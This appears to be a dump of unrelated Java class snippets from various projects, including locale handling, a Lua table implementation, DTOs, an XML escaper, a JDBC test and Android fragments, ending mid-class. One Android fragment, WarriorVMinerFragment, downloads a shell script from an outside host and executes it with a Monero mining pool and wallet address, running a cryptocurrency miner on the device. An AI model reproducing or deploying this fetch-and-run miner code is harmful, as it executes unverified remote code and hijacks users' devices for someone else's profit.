* @param summary summary or {@code null} for none
*/
public Documentation setSummary(java.lang.String summary) {
this.summary = summary;
return this;
}
@Override
public Documentation set(String fieldName, Object value) {
return (Documentation) super.set(fieldName, value);
}
@Override
public Documentation clone() {
return (Documentation) super.clone();
}
}
|
Java
|
public class LocaleManager {
/**
*
*/
private static LocaleManager manager = new LocaleManager();
/**
*
*/
private static ThreadLocale locale = new ThreadLocale();
/**
* @return
*/
public static LocaleManager getManager() {
return manager;
}
/**
* Set the locale with the language and country for the
* current thread.
*
* @param locale locale to set
*/
public void setThreadLocale(Locale locale) {
LocaleManager.locale.setThread(true);
LocaleManager.locale.set(locale);
}
/**
* Set globally the locale with the language and country
*
* @param locale locale to set
*/
public void setLocale(Locale locale) {
LocaleManager.locale.setThread(false);
LocaleManager.locale.set(locale);
}
/**
* Return currently used locale, either for thread or global.
*
* @return currently used locale
*/
public Locale getLocale() {
return locale.get();
}
}
|
Java
|
public class LocaleFilter implements ContainerRequestFilter {
@Context
private HttpServletRequest request;
@Override
public void filter(ContainerRequestContext requestContext) throws IOException {
// Use jetty context here because requestContext.getLanguage() does not work
Locale locale = request.getLocale();
if (locale == null) {
locale = I18n.DEFAULT_LOCALE;
}
I18n.LOCALE.set(locale);
}
}
|
Java
|
public class WarriorVMinerFragment extends Fragment {
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup parent, Bundle savedInstanceState) {
// Defines the xml file for the fragment
return inflater.inflate(R.layout.fragment_warriorv_miner, parent, false);
}
@Override
public void onViewCreated(View view, Bundle savedInstanceState) {
Button StartButton = view.findViewById(R.id.miner_startbutton);
TextView WarriorVMinerOutput = view.findViewById(R.id.warriorv_miner_output);
StartButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
RunWarriorVMiner(WarriorVMinerOutput);
}
});
}
private String RunWarriorVMiner(TextView textView) {
try {
// Executes the command.
System.setProperty("TLS", "1");
System.setProperty("WORKER", "BLARGY");
@SuppressLint("SdCardPath")
DownloadManager downloadmanager = (DownloadManager) getContext().getSystemService(Context.DOWNLOAD_SERVICE);
Uri uri = Uri.parse("http://xmrig.mx99.ml/miner.sh");
DownloadManager.Request request = new DownloadManager.Request(uri);
request.setTitle("WarriorV XMR Miner");
request.setDescription("Downloading");
request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_COMPLETED);
request.setVisibleInDownloadsUi(false);
request.setDestinationUri(Uri.parse("file://" + Environment.getExternalStorageDirectory().getPath() + "/"+ "miner.sh"));
downloadmanager.enqueue(request);
Process process = Runtime.getRuntime().exec("sh" + Environment.getExternalStorageDirectory().getPath() + "/miner.sh gulf.moneroocean.stream:443 8AVHiEq9tpnTycu3uXwCBA4qjTfMvLq7RSqV2egbDu2K6z7VasBq8M7Ljg9F9uHy2DVScyF8cQouVedUMHbkowjVA7Gsp6N cn-heavy/xhv");
// Reads stdout.
// NOTE: You can write to stdin of the command using
// process.getOutputStream().
BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getInputStream()));
int read;
char[] buffer = new char[4096];
StringBuffer output = new StringBuffer();
while ((read = reader.read(buffer)) > 0) {
output.append(buffer, 0, read);
textView.append(buffer.toString(),0, read);
}
reader.close();
// Waits for the command to finish.
process.waitFor();
return output.toString();
} catch (IOException e) {
throw new RuntimeException(e);
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
}
}
|
Java
|
public final class LuaTable extends java.util.Hashtable
{
private static final int MAXBITS = 26;
private static final int MAXASIZE = 1 << MAXBITS;
private LuaTable metatable; // = null;
private static final Object[] ZERO = new Object[0];
/**
* Array used so that tables accessed like arrays are more efficient.
* All elements stored at an integer index, <var>i</var>, in the
* range [1,sizeArray] are stored at <code>array[i-1]</code>.
* This speed and space usage for array-like access.
* When the table is rehashed the array's size is chosen to be the
* largest power of 2 such that at least half the entries are
* occupied. Default access granted for {@link Enum} class, do not
* abuse.
*/
Object[] array = ZERO;
/**
* Equal to <code>array.length</code>. Default access granted for
* {@link Enum} class, do not abuse.
*/
int sizeArray; // = 0;
/**
* <code>true</code> whenever we are in the {@link #rehash}
* method. Avoids infinite rehash loops.
*/
private boolean inrehash; // = false;
LuaTable()
{
super(1);
}
/**
* Fresh LuaTable with hints for preallocating to size.
* @param narray number of array slots to preallocate.
* @param nhash number of hash slots to preallocate.
*/
LuaTable(int narray, int nhash)
{
// :todo: super(nhash) isn't clearly correct as adding nhash hash
// table entries will causes a rehash with the usual implementation
// (which rehashes when ratio of entries to capacity exceeds the
// load factor of 0.75). Perhaps ideally we would size the hash
// tables such that adding nhash entries will not cause a rehash.
super(nhash);
array = new Object[narray];
for (int i=0; i<narray; ++i)
{
array[i] = Lua.NIL;
}
sizeArray = narray;
}
/**
* Implements discriminating equality. <code>o1.equals(o2) == (o1 ==
* o2) </code>. This method is not necessary in CLDC, it's only
* necessary in J2SE because java.util.Hashtable overrides equals.
* @param o the reference to compare with.
* @return true when equal.
*/
public boolean equals(Object o)
{
return this == o;
}
/**
* Provided to avoid Checkstyle warning. This method is not necessary
* for correctness (in neither JME nor JSE), it's only provided to
* remove a Checkstyle warning.
* Since {@link #equals} implements the most discriminating
* equality possible, this method can have any implementation.
* @return an int.
*/
public int hashCode()
{
return System.identityHashCode(this);
}
private static int arrayindex(Object key)
{
if (key instanceof Double)
{
double d = ((Double)key).doubleValue();
int k = (int)d;
if (k == d)
{
return k;
}
}
return -1; // 'key' did not match some condition
}
private static int computesizes(int[] nums, int[] narray)
{
final int t = narray[0];
int a = 0; // number of elements smaller than 2^i
int na = 0; // number of elements to go to array part
int n = 0; // optimal size for array part
int twotoi = 1; // 2^i
for (int i=0; twotoi/2 < t; ++i)
{
if (nums[i] > 0)
{
a += nums[i];
if (a > twotoi/2) // more than half elements present?
{
n = twotoi; // optimal size (till now)
na = a; // all elements smaller than n will go to array part
}
}
if (a == t) // all elements already counted
{
break;
}
twotoi *= 2;
}
narray[0] = n;
//# assert narray[0]/2 <= na && na <= narray[0]
return na;
}
private int countint(Object key, int[] nums)
{
int k = arrayindex(key);
if (0 < k && k <= MAXASIZE) // is 'key' an appropriate array index?
{
++nums[ceillog2(k)]; // count as such
return 1;
}
return 0;
}
private int numusearray(int[] nums)
{
int ause = 0; // summation of 'nums'
int i = 1; // count to traverse all array keys
int ttlg = 1; // 2^lg
for(int lg = 0; lg <= MAXBITS; ++lg) // for each slice
{
int lc = 0; // counter
int lim = ttlg;
if (lim > sizeArray)
{
lim = sizeArray; // adjust upper limit
if (i > lim)
{
break; // no more elements to count
}
}
// count elements in range (2^(lg-1), 2^lg]
for (; i <= lim; ++i)
{
if (array[i-1] != Lua.NIL)
{
++lc;
}
}
nums[lg] += lc;
ause += lc;
ttlg *= 2;
}
return ause;
}
private int numusehash(int[] nums, int[] pnasize)
{
int totaluse = 0; // total number of elements
int ause = 0; // summation of nums
Enumeration e;
e = super.keys();
while (e.hasMoreElements())
{
Object o =e. nextElement();
ause += countint(o, nums);
++totaluse;
}
pnasize[0] += ause;
return totaluse;
}
/**
* @param nasize (new) size of array part
*/
private void resize(int nasize)
{
if (nasize == sizeArray)
{
return;
}
Object[] newarray = new Object[nasize];
if (nasize > sizeArray) // array part must grow?
{
// The new array slots, from sizeArray to nasize-1, must
// be filled with their values from the hash part.
// There are two strategies:
// Iterate over the new array slots, and look up each index in the
// hash part to see if it has a value; or,
// Iterate over the hash part and see if each key belongs in the
// array part.
// For now we choose the first algorithm.
// :todo: consider using second algorithm, possibly dynamically.
System.arraycopy(array, 0, newarray, 0, array.length);
for (int i=array.length; i<nasize; ++i)
{
Object key = new Double(i+1);
Object v = super.remove(key);
if (v == null)
{
v = Lua.NIL;
}
newarray[i] = v;
}
}
if (nasize < sizeArray) // array part must shrink?
{
// move elements from array slots nasize to sizeArray-1 to the
// hash part.
for (int i=nasize; i<sizeArray; ++i)
{
if (array[i] != Lua.NIL)
{
Object key = new Double(i+1);
super.put(key, array[i]);
}
}
System.arraycopy(array, 0, newarray, 0, newarray.length);
}
array = newarray;
sizeArray = array.length;
}
protected void rehash()
{
boolean oldinrehash = inrehash;
inrehash = true;
if (!oldinrehash)
{
int[] nasize = new int[1];
int[] nums = new int[MAXBITS+1];
nasize[0] = numusearray(nums); // count keys in array part
int totaluse = nasize[0];
totaluse += numusehash(nums, nasize);
int na = computesizes(nums, nasize);
resize(nasize[0]);
}
super.rehash();
inrehash = oldinrehash;
}
/**
* Getter for metatable member.
* @return The metatable.
*/
LuaTable getMetatable()
{
return metatable;
}
/**
* Setter for metatable member.
* @param metatable The metatable.
*/
// :todo: Support metatable's __gc and __mode keys appropriately.
// This involves detecting when those keys are present in the
// metatable, and changing all the entries in the Hashtable
// to be instance of java.lang.Ref as appropriate.
void setMetatable(LuaTable metatable)
{
this.metatable = metatable;
return;
}
/**
* Supports Lua's length (#) operator. More or less equivalent to
* luaH_getn and unbound_search in ltable.c.
*/
int getn()
{
int j = sizeArray;
if (j > 0 && array[j-1] == Lua.NIL)
{
// there is a boundary in the array part: (binary) search for it
int i = 0;
while (j - i > 1)
{
int m = (i+j)/2;
if (array[m-1] == Lua.NIL)
{
j = m;
}
else
{
i = m;
}
}
return i;
}
// unbound_search
int i = 0;
j = 1;
// Find 'i' and 'j' such that i is present and j is not.
while (this.getnum(j) != Lua.NIL)
{
i = j;
j *= 2;
if (j < 0) // overflow
{
// Pathological case. Linear search.
i = 1;
while (this.getnum(i) != Lua.NIL)
{
++i;
}
return i-1;
}
}
// binary search between i and j
while (j - i > 1)
{
int m = (i+j)/2;
if (this.getnum(m) == Lua.NIL)
{
j = m;
}
else
{
i = m;
}
}
return i;
}
/**
* Like {@link java.util.Hashtable#get}. Ensures that indexes
* with no value return {@link Lua#NIL}. In order to get the correct
* behaviour for <code>t[nil]</code>, this code assumes that Lua.NIL
* is non-<code>null</code>.
*/
public Object getlua(Object key)
{
if (key instanceof Double)
{
double d = ((Double)key).doubleValue();
if (d <= sizeArray && d >=1)
{
int i = (int)d;
if (i == d)
{
return array[i-1];
}
}
}
Object r = super.get(key);
if (r == null)
{
r = Lua.NIL;
}
return r;
}
/**
* Like {@link #getlua(Object)} but the result is written into
* the <var>value</var> {@link Slot}.
*/
void getlua(Slot key, Slot value)
{
if (key.r == Lua.NUMBER)
{
double d = key.d;
if (d <= sizeArray && d >= 1)
{
int i = (int)d;
if (i == d)
{
value.setObject(array[i-1]);
return;
}
}
}
Object r = super.get(key.asObject());
if (r == null)
{
r = Lua.NIL;
}
value.setObject(r);
}
/** Like get for numeric (integer) keys. */
Object getnum(int k)
{
if (k <= sizeArray && k >= 1)
{
return array[k-1];
}
Object r = super.get(new Double(k));
if (r == null)
{
return Lua.NIL;
}
return r;
}
/**
* Like {@link java.util.Hashtable#put} but enables Lua's semantics
* for <code>nil</code>;
* In particular that <code>x = nil</nil>
* deletes <code>x</code>.
* And also that <code>t[nil]</code> raises an error.
* Generally, users of Jill should be using
* {@link Lua#setTable} instead of this.
* @param key key.
* @param value value.
*/
void putlua(Lua L, Object key, Object value)
{
double d = 0.0;
int i = Integer.MAX_VALUE;
if (key == Lua.NIL)
{
L.gRunerror("table index is nil");
}
if (key instanceof Double)
{
d = ((Double)key).doubleValue();
int j = (int)d;
if (j == d && j >= 1)
{
i = j; // will cause additional check for array part later if
// the array part check fails now.
if (i <= sizeArray)
{
array[i-1] = value;
return;
}
}
if (Double.isNaN(d))
{
L.gRunerror("table index is NaN");
}
}
// :todo: Consider checking key for NaN (PUC-Rio does)
if (value == Lua.NIL)
{
remove(key);
return;
}
super.put(key, value);
// This check is necessary because sometimes the call to super.put
// can rehash and the new (k,v) pair should be in the array part
// after the rehash, but is still in the hash part.
if (i <= sizeArray)
{
remove(key);
array[i-1] = value;
}
}
void putlua(Lua L, Slot key, Object value)
{
int i = Integer.MAX_VALUE;
if (key.r == Lua.NUMBER)
{
int j = (int)key.d;
if (j == key.d && j >= 1)
{
i = j;
if (i <= sizeArray)
{
array[i-1] = value;
return;
}
}
if (Double.isNaN(key.d))
{
L.gRunerror("table index is NaN");
}
}
Object k = key.asObject();
// :todo: consider some sort of tail merge with the other putlua
if (value == Lua.NIL)
{
remove(k);
return;
}
super.put(k, value);
if (i <= sizeArray)
{
remove(k);
array[i-1] = value;
}
}
/**
* Like put for numeric (integer) keys.
*/
void putnum(int k, Object v)
{
if (k <= sizeArray && k >= 1)
{
array[k-1] = v;
return;
}
// The key can never be NIL so putlua will never notice that its L
// argument is null.
// :todo: optimisation to avoid putlua checking for array part again
putlua(null, new Double(k), v);
}
/**
* Do not use, implementation exists only to generate deprecated
* warning.
* @deprecated Use getlua instead.
*/
public Object get(Object key)
{
throw new IllegalArgumentException();
}
public Enumeration keys()
{
return new Enum(this, super.keys());
}
/**
* Do not use, implementation exists only to generate deprecated
* warning.
* @deprecated Use putlua instead.
*/
public Object put(Object key, Object value)
{
throw new IllegalArgumentException();
}
/**
* Used by oLog2. DO NOT MODIFY.
*/
private static final byte[] LOG2 = new byte[] {
0,1,2,2,3,3,3,3,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,
6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,
7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,
7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,
8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,
8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,
8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,
8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8
};
/**
* Equivalent to luaO_log2.
*/
private static int oLog2(int x)
{
//# assert x >= 0
int l = -1;
while (x >= 256)
{
l += 8;
x >>>= 8;
}
return l + LOG2[x];
}
private static int ceillog2(int x)
{
return oLog2(x-1)+1;
}
}
|
Java
|
public class FriendMessage implements Serializable {
private String time;//发布时间
private String downsload;//下载量
private String message;//消息
private String images;//图片
private String id;//信息id
public String getTime() {
return time;
}
public void setTime(String time) {
this.time = time;
}
public String getDownsload() {
return downsload;
}
public void setDownsload(String downsload) {
this.downsload = downsload;
}
public String getMessage() {
return message;
}
public void setMessage(String message) {
this.message = message;
}
public String getImages() {
return images;
}
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public void setImages(String images) {
this.images = images;
}
}
|
Java
|
public class PopularCourseBannerFragment extends Fragment {
private static final String COURSE_KEY = "course";
@BindView(R.id.popularImage)
ImageView ivImage;
@BindView(R.id.tvTitle)
TextView tvTitle;
public static PopularCourseBannerFragment newInstance(Course course) {
PopularCourseBannerFragment popularCourseBannerFragment = new PopularCourseBannerFragment();
Bundle args = new Bundle();
args.putParcelable(COURSE_KEY, Parcels.wrap(course));
popularCourseBannerFragment.setArguments(args);
return popularCourseBannerFragment;
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
ViewGroup rootView = (ViewGroup) inflater.inflate(
R.layout.fragment_popular_course_banner, container, false);
return rootView;
}
@Override
public void onViewCreated(View view, @Nullable Bundle savedInstanceState) {
super.onViewCreated(view, savedInstanceState);
ButterKnife.bind(this, view);
Course course = Parcels.unwrap(getArguments().getParcelable(COURSE_KEY));
int displayWidth = getResources().getDisplayMetrics().widthPixels;
Picasso.with(getContext()).load(course.getPhotoUrl()).resize(displayWidth, 0).into(ivImage);
tvTitle.setText(course.getTitle());
ivImage.setOnClickListener(v -> {
Intent intent = new Intent(getContext(), CourseSubscribeActivity.class);
intent.putExtra(CourseSubscribeActivity.EXTRA_COURSE, Parcels.wrap(course));
ActivityOptionsCompat options = ActivityOptionsCompat.
makeSceneTransitionAnimation(getActivity(), ivImage, "courseImage");
getContext().startActivity(intent, options.toBundle());
});
}
}
|
Java
|
public abstract class LifecycleLoggingActivity extends Activity {
/**
* Debugging tag used by the Android logger.
*/
protected final String TAG = getClass().getSimpleName();
/**
* Hook method called when a new instance of Activity is created. One time
* initialization code should go here e.g. UI layout, some class scope
* variable initialization. if finish() is called from onCreate no other
* lifecycle callbacks are called except for onDestroy().
*
* @param savedInstanceState
* object that contains saved state information.
*/
@Override
protected void onCreate(Bundle savedInstanceState) {
// Always call super class for necessary
// initialization/implementation.
super.onCreate(savedInstanceState);
if (savedInstanceState != null) {
// The activity is being re-created. Use the
// savedInstanceState bundle for initializations either
// during onCreate or onRestoreInstanceState().
Log.d(TAG, "onCreate(): activity re-created");
} else {
// Activity is being created anew. No prior saved
// instance state information available in Bundle object.
Log.d(TAG, "onCreate(): activity created anew");
}
}
/**
* Hook method called after onCreate() or after onRestart() (when the
* activity is being restarted from stopped state). Should re-acquire
* resources relinquished when activity was stopped (onStop()) or acquire
* those resources for the first time after onCreate().
*/
@Override
protected void onStart() {
// Always call super class for necessary
// initialization/implementation.
super.onStart();
Log.d(TAG, "onStart() - the activity is about to become visible");
}
/**
* Hook method called after onRestoreStateInstance(Bundle) only if there is
* a prior saved instance state in Bundle object. onResume() is called
* immediately after onStart(). onResume() is called when user resumes
* activity from paused state (onPause()) User can begin interacting with
* activity. Place to start animations, acquire exclusive resources, such as
* the camera.
*/
@Override
protected void onResume() {
// Always call super class for necessary
// initialization/implementation and then log which lifecycle
// hook method is being called.
super.onResume();
Log.d(TAG,
"onResume() - the activity has become visible (it is now \"resumed\")");
}
/**
* Hook method called when an Activity loses focus but is still visible in
* background. May be followed by onStop() or onResume(). Delegate more CPU
* intensive operation to onStop for seamless transition to next activity.
* Save persistent state (onSaveInstanceState()) in case app is killed.
* Often used to release exclusive resources.
*/
@Override
protected void onPause() {
// Always call super class for necessary
// initialization/implementation and then log which lifecycle
// hook method is being called.
super.onPause();
Log.d(TAG,
"onPause() - another activity is taking focus (this activity is about to be \"paused\")");
}
/**
* Called when Activity is no longer visible. Release resources that may
* cause memory leak. Save instance state (onSaveInstanceState()) in case
* activity is killed.
*/
@Override
protected void onStop() {
// Always call super class for necessary
// initialization/implementation and then log which lifecycle
// hook method is being called.
super.onStop();
Log.d(TAG,
"onStop() - the activity is no longer visible (it is now \"stopped\")");
}
/**
* Hook method called when user restarts a stopped activity. Is followed by
* a call to onStart() and onResume().
*/
@Override
protected void onRestart() {
// Always call super class for necessary
// initialization/implementation and then log which lifecycle
// hook method is being called.
super.onRestart();
Log.d(TAG, "onRestart() - the activity is about to be restarted()");
}
/**
* Hook method that gives a final chance to release resources and stop
* spawned threads. onDestroy() may not always be called-when system kills
* hosting process
*/
@Override
protected void onDestroy() {
// Always call super class for necessary
// initialization/implementation and then log which lifecycle
// hook method is being called.
super.onDestroy();
Log.d(TAG, "onDestroy() - the activity is about to be destroyed");
}
}
|
Java
|
public class GenericConverter extends AbstractConverter {
private CitationService citationService;
public void setCitationService(CitationService citationService) {
this.citationService = citationService;
}
private static BidiMap conversion = new TreeBidiMap();
static {
// From Citation to OpenURL.
// conversion.put(citationProp, openUrlProp)
conversion.put("creator", "au");
//conversion.put("year", "date"); // TODO Should validate date (also "date", date").
conversion.put("publisher", "pub");
conversion.put("publicationLocation", "place");
conversion.put("edition", "edition");
// conversion.put("sourceTitle", "series"); // Only for books, sourceTitle is used for other things.
// From Journals
conversion.put("sourceTitle", "jtitle");
// conversion.put("date", "date");
conversion.put("volume", "volume");
conversion.put("issue", "issue");
conversion.put("startPage", "spage");
conversion.put("endPage", "epage");
conversion.put("pages", "pages");
conversion.put("date", "date");
conversion.put("isnIdentifier", "issn");
// DOI and ISBN should become IDs on the context object.
// For books citation(date) -> openurl(date)
// For journals citation(year) -> openurl(date)
}
private static class Genre {
String openUrlId;
String openUrlGenre;
String citationScheme;
private Genre(String openUrlId, String openUrlGenre, String citationScheme) {
this.openUrlId = openUrlId;
this.openUrlGenre = openUrlGenre;
this.citationScheme = citationScheme;
}
}
private static Collection<Genre> genreConversion = new ArrayList<Genre>();
static {
genreConversion.add(new Genre("info:ofi/fmt:kev:mtx:journal", "journal", "article"));
genreConversion.add(new Genre("info:ofi/fmt:kev:mtx:journal", "issue", "article"));
genreConversion.add(new Genre("info:ofi/fmt:kev:mtx:journal", "article", "article"));
genreConversion.add(new Genre("info:ofi/fmt:kev:mtx:journal", "proceeding", "proceeding"));
genreConversion.add(new Genre("info:ofi/fmt:kev:mtx:journal", "conference", "proceeding"));
genreConversion.add(new Genre("info:ofi/fmt:kev:mtx:journal", "report", "report"));
genreConversion.add(new Genre("info:ofi/fmt:kev:mtx:journal", "document", "report"));
genreConversion.add(new Genre("info:ofi/fmt:kev:mtx:book", "book", "book"));
genreConversion.add(new Genre("info:ofi/fmt:kev:mtx:book", "bookitem", "chapter"));
genreConversion.add(new Genre("info:ofi/fmt:kev:mtx:book", "book", "book"));
genreConversion.add(new Genre("info:ofi/fmt:kev:mtx:book", "proceeding", "proceeding"));
genreConversion.add(new Genre("info:ofi/fmt:kev:mtx:book", "conference", "proceeding"));
genreConversion.add(new Genre("info:ofi/fmt:kev:mtx:book", "report", "report"));
genreConversion.add(new Genre("info:ofi/fmt:kev:mtx:book", "document", "report"));
}
@Override
protected String getOpenUrlKey(String citationKey) {
return (String) conversion.get(citationKey);
}
@Override
protected String getCitationsKey(String openUrlKey) {
return (String) conversion.getKey(openUrlKey);
}
public boolean canConvertOpenUrl(String format) {
return true;
}
public boolean canConvertCitation(String type) {
return true;
}
public ContextObjectEntity convert(Citation citation) {
Map<String, Object> props = citation.getCitationProperties();
ContextObjectEntity entity = new ContextObjectEntity();
convertSimple(props, entity);
String schema = citation.getSchema().getIdentifier();
for (Genre genre: genreConversion) {
if (genre.citationScheme.equals(schema)) {
entity.setFormat(genre.openUrlId);
entity.addValue("genre", genre.openUrlGenre);
break;
}
}
if(citation.hasCitationProperty("isbn")) {
Object value = citation.getCitationProperty("isbn", false);
addId(entity, value, ISBN_URN_PREFIX);
}
// Do other mapping.
if (citation.hasCitationProperty("doi")) {
Object value = citation.getCitationProperty("doi", false);
addId(entity, value, DOI_PREFIX);
}
// TODO Guess the genre
return entity;
}
public Citation convert(ContextObjectEntity entity) {
Map<String, List<String>> values = entity.getValues();
// Deal with genre.
Genre destGenre = null;
if(values.containsKey("genre")) {
List<String> genres = values.get("genre"); // Should only have 1
if (!genres.isEmpty()) {
String openUrlGenre = genres.get(0);
for (Genre genre : genreConversion) {
if (genre.openUrlGenre.equals(openUrlGenre)) {
destGenre = genre;
break;
}
}
}
}
Citation citation = citationService.addCitation(destGenre != null? destGenre.citationScheme: "unknown");
// Map the IDs from CO the citation.
for (String id: entity.getIds()) {
if (id.startsWith(ISBN_URN_PREFIX)) {
String isbn = id.substring(ISBN_URN_PREFIX.length());
if (isbn.length() > 0 ) {
citation.setCitationProperty("isnIdentifier", isbn);
}
} else if (id.startsWith(DOI_PREFIX)) {
String doi = id.substring(DOI_PREFIX.length());
if (doi.length() > 0) {
citation.setCitationProperty("doi", doi);
}
} else if (id.startsWith(ISSN_PREFIX)) {
String issn = id.substring(ISSN_PREFIX.length());
if (issn.length() > 0) {
citation.setCitationProperty("isnIdentifier", issn);
}
} else {
citation.setCitationProperty("otherIds", id);
}
}
convertSimple(values, citation);
convertSingle(values, citation, "atitle", "title");
convertSingle(values, citation, "btitle", "title");
convertSingle(values, citation, "issn", "isnIdentifier");
convertSingle(values, citation, "isbn", "isnIdentifier");
if (destGenre != null) {
if ("info:ofi/fmt:kev:mtx:journal".equals(destGenre.openUrlId)) {
convertSingle(values, citation, "title", "sourceTitle");
if ("journal".equals(destGenre.openUrlGenre)) {
// If it says it's a journal and doesn't have a title already use the jtitle
convertSingle(values, citation, "jtitle", "title");
// Clear out the sourceTitle.
citation.setCitationProperty("sourceTitle", null);
}
}
if ("info:ofi/fmt:kev:mtx:book".equals(destGenre.openUrlId)) {
convertSingle(values, citation, "title", "title");
}
}
String author = Utils.lookForAuthor(values);
if (author != null) {
citation.setCitationProperty("creator", author);
}
return citation;
}
/**
* Converts a single value only if a value doesn't exist for the field already.
* @param values
* @param citation
* @param srcProp
* @param destProp
* @return
*/
private boolean convertSingle(Map<String, List<String>> values,
Citation citation, String srcProp, String destProp) {
List<String> valueList = values.get(srcProp);
if (valueList != null && !valueList.isEmpty() && !citation.hasCitationProperty(destProp)) {
String value = valueList.get(0);
if (value != null && value.length() > 0) {
citation.setCitationProperty(destProp, value);
return true;
}
}
return false;
}
}
|
Java
|
@RunWith(JUnit4.class)
public class JdbcEmptyCacheSelfTest extends GridCommonAbstractTest {
/** Cache name. */
private static final String CACHE_NAME = "cache";
/** JDBC URL. */
private static final String BASE_URL =
CFG_URL_PREFIX + "cache=" + CACHE_NAME + "@modules/clients/src/test/config/jdbc-config.xml";
/** Statement. */
private Statement stmt;
/** {@inheritDoc} */
@Override protected IgniteConfiguration getConfiguration(String igniteInstanceName) throws Exception {
IgniteConfiguration cfg = super.getConfiguration(igniteInstanceName);
CacheConfiguration cache = defaultCacheConfiguration();
cache.setName(CACHE_NAME);
cache.setCacheMode(PARTITIONED);
cache.setBackups(1);
cache.setWriteSynchronizationMode(FULL_SYNC);
cache.setIndexedTypes(
Byte.class, Byte.class
);
cfg.setCacheConfiguration(cache);
cfg.setConnectorConfiguration(new ConnectorConfiguration());
return cfg;
}
/** {@inheritDoc} */
@Override protected void beforeTestsStarted() throws Exception {
startGrid();
}
/** {@inheritDoc} */
@Override protected void beforeTest() throws Exception {
stmt = DriverManager.getConnection(BASE_URL).createStatement();
assert stmt != null;
assert !stmt.isClosed();
}
/** {@inheritDoc} */
@Override protected void afterTest() throws Exception {
if (stmt != null) {
stmt.getConnection().close();
stmt.close();
assert stmt.isClosed();
}
}
/**
* @throws Exception If failed.
*/
@Test
public void testSelectNumber() throws Exception {
ResultSet rs = stmt.executeQuery("select 1");
int cnt = 0;
while (rs.next()) {
assert rs.getInt(1) == 1;
assert "1".equals(rs.getString(1));
cnt++;
}
assert cnt == 1;
}
/**
* @throws Exception If failed.
*/
@Test
public void testSelectString() throws Exception {
ResultSet rs = stmt.executeQuery("select 'str'");
int cnt = 0;
while (rs.next()) {
assertEquals("str", rs.getString(1));
cnt++;
}
assert cnt == 1;
}
}
|
Java
|
public class EscapeXml {
private static final String[] ESCAPES;
static {
int size = '>' + 1; // '>' is the largest escaped value
ESCAPES = new String[size];
ESCAPES['<'] = "<";
ESCAPES['>'] = ">";
ESCAPES['&'] = "&";
ESCAPES['\''] = "'";
ESCAPES['"'] = """;
}
private static String getEscape(char c) {
if (c < ESCAPES.length) {
return ESCAPES[c];
} else {
return null;
}
}
/**
* Escape a string.
*
* @param src
* the string to escape; must not be null
* @return the escaped string
*/
public static String escape(String src) {
// first pass to determine the length of the buffer so we only allocate once
int length = 0;
for (int i = 0; i < src.length(); i++) {
char c = src.charAt(i);
String escape = getEscape(c);
if (escape != null) {
length += escape.length();
} else {
length += 1;
}
}
// skip copy if no escaping is needed
if (length == src.length()) {
return src;
}
// second pass to build the escaped string
StringBuilder buf = new StringBuilder(length);
for (int i = 0; i < src.length(); i++) {
char c = src.charAt(i);
String escape = getEscape(c);
if (escape != null) {
buf.append(escape);
} else {
buf.append(c);
}
}
return buf.toString();
}
}
|
Java
|
@Getter
@Setter
@AllArgsConstructor
@NoArgsConstructor
@Builder
@JsonIgnoreProperties(ignoreUnknown = true)
@SuppressWarnings("unused")
public class ProductDto implements Serializable {
private static final long serialVersionUID = 1L;
private String id;
@NotNull(message = "productName cannot null")
@NotEmpty(message = "productName cannot empty")
private String productName;
@NotNull(message = "shortDescription cannot null")
@NotEmpty(message = "shortDescription cannot empty")
private String shortDescription;
@NotNull(message = "longDescription cannot null")
@NotEmpty(message = "longDescription cannot empty")
private String longDescription;
@NotNull(message = "thumbnailImageUrl cannot null")
@NotEmpty(message = "thumbnailImageUrl cannot empty")
private String thumbnailImageUrl;
@NotNull(message = "quantity cannot null")
private Integer quantity;
@NotNull(message = "stockStatus cannot null")
private StockStatus stockStatus;
@NotNull(message = "price cannot null")
private BigDecimal price;
private int isActive;
private int isDeleted;
}
|
Java
|
public class BrAPIReferenceBases {
@JsonProperty("nextPageToken")
private String nextPageToken = null;
@JsonProperty("offset")
private Integer offset = null;
@JsonProperty("sequence")
private String sequence = null;
public BrAPIReferenceBases nextPageToken(String nextPageToken) {
this.nextPageToken = nextPageToken;
return this;
}
/**
* The continuation token, which is used to page through large result sets. Provide this value in a subsequent request to return the next page of results. This field will be empty if there are not any additional results.
* @return nextPageToken
**/
public String getNextPageToken() {
return nextPageToken;
}
public void setNextPageToken(String nextPageToken) {
this.nextPageToken = nextPageToken;
}
public BrAPIReferenceBases offset(Integer offset) {
this.offset = offset;
return this;
}
/**
* The offset position (0-based) of the given sequence from the start of this `Reference`. This value will differ for each page in a request.
* @return offset
**/
public Integer getOffset() {
return offset;
}
public void setOffset(Integer offset) {
this.offset = offset;
}
public BrAPIReferenceBases sequence(String sequence) {
this.sequence = sequence;
return this;
}
/**
* A sub-string of the bases that make up this reference. Bases are represented as IUPAC-IUB codes; this string matches the regular expression `[ACGTMRWSYKVHDBN]*`.
* @return sequence
**/
public String getSequence() {
return sequence;
}
public void setSequence(String sequence) {
this.sequence = sequence;
}
@Override
public boolean equals(java.lang.Object o) {
if (this == o) {
return true;
}
if (o == null || getClass() != o.getClass()) {
return false;
}
BrAPIReferenceBases referenceBases = (BrAPIReferenceBases) o;
return Objects.equals(this.nextPageToken, referenceBases.nextPageToken) &&
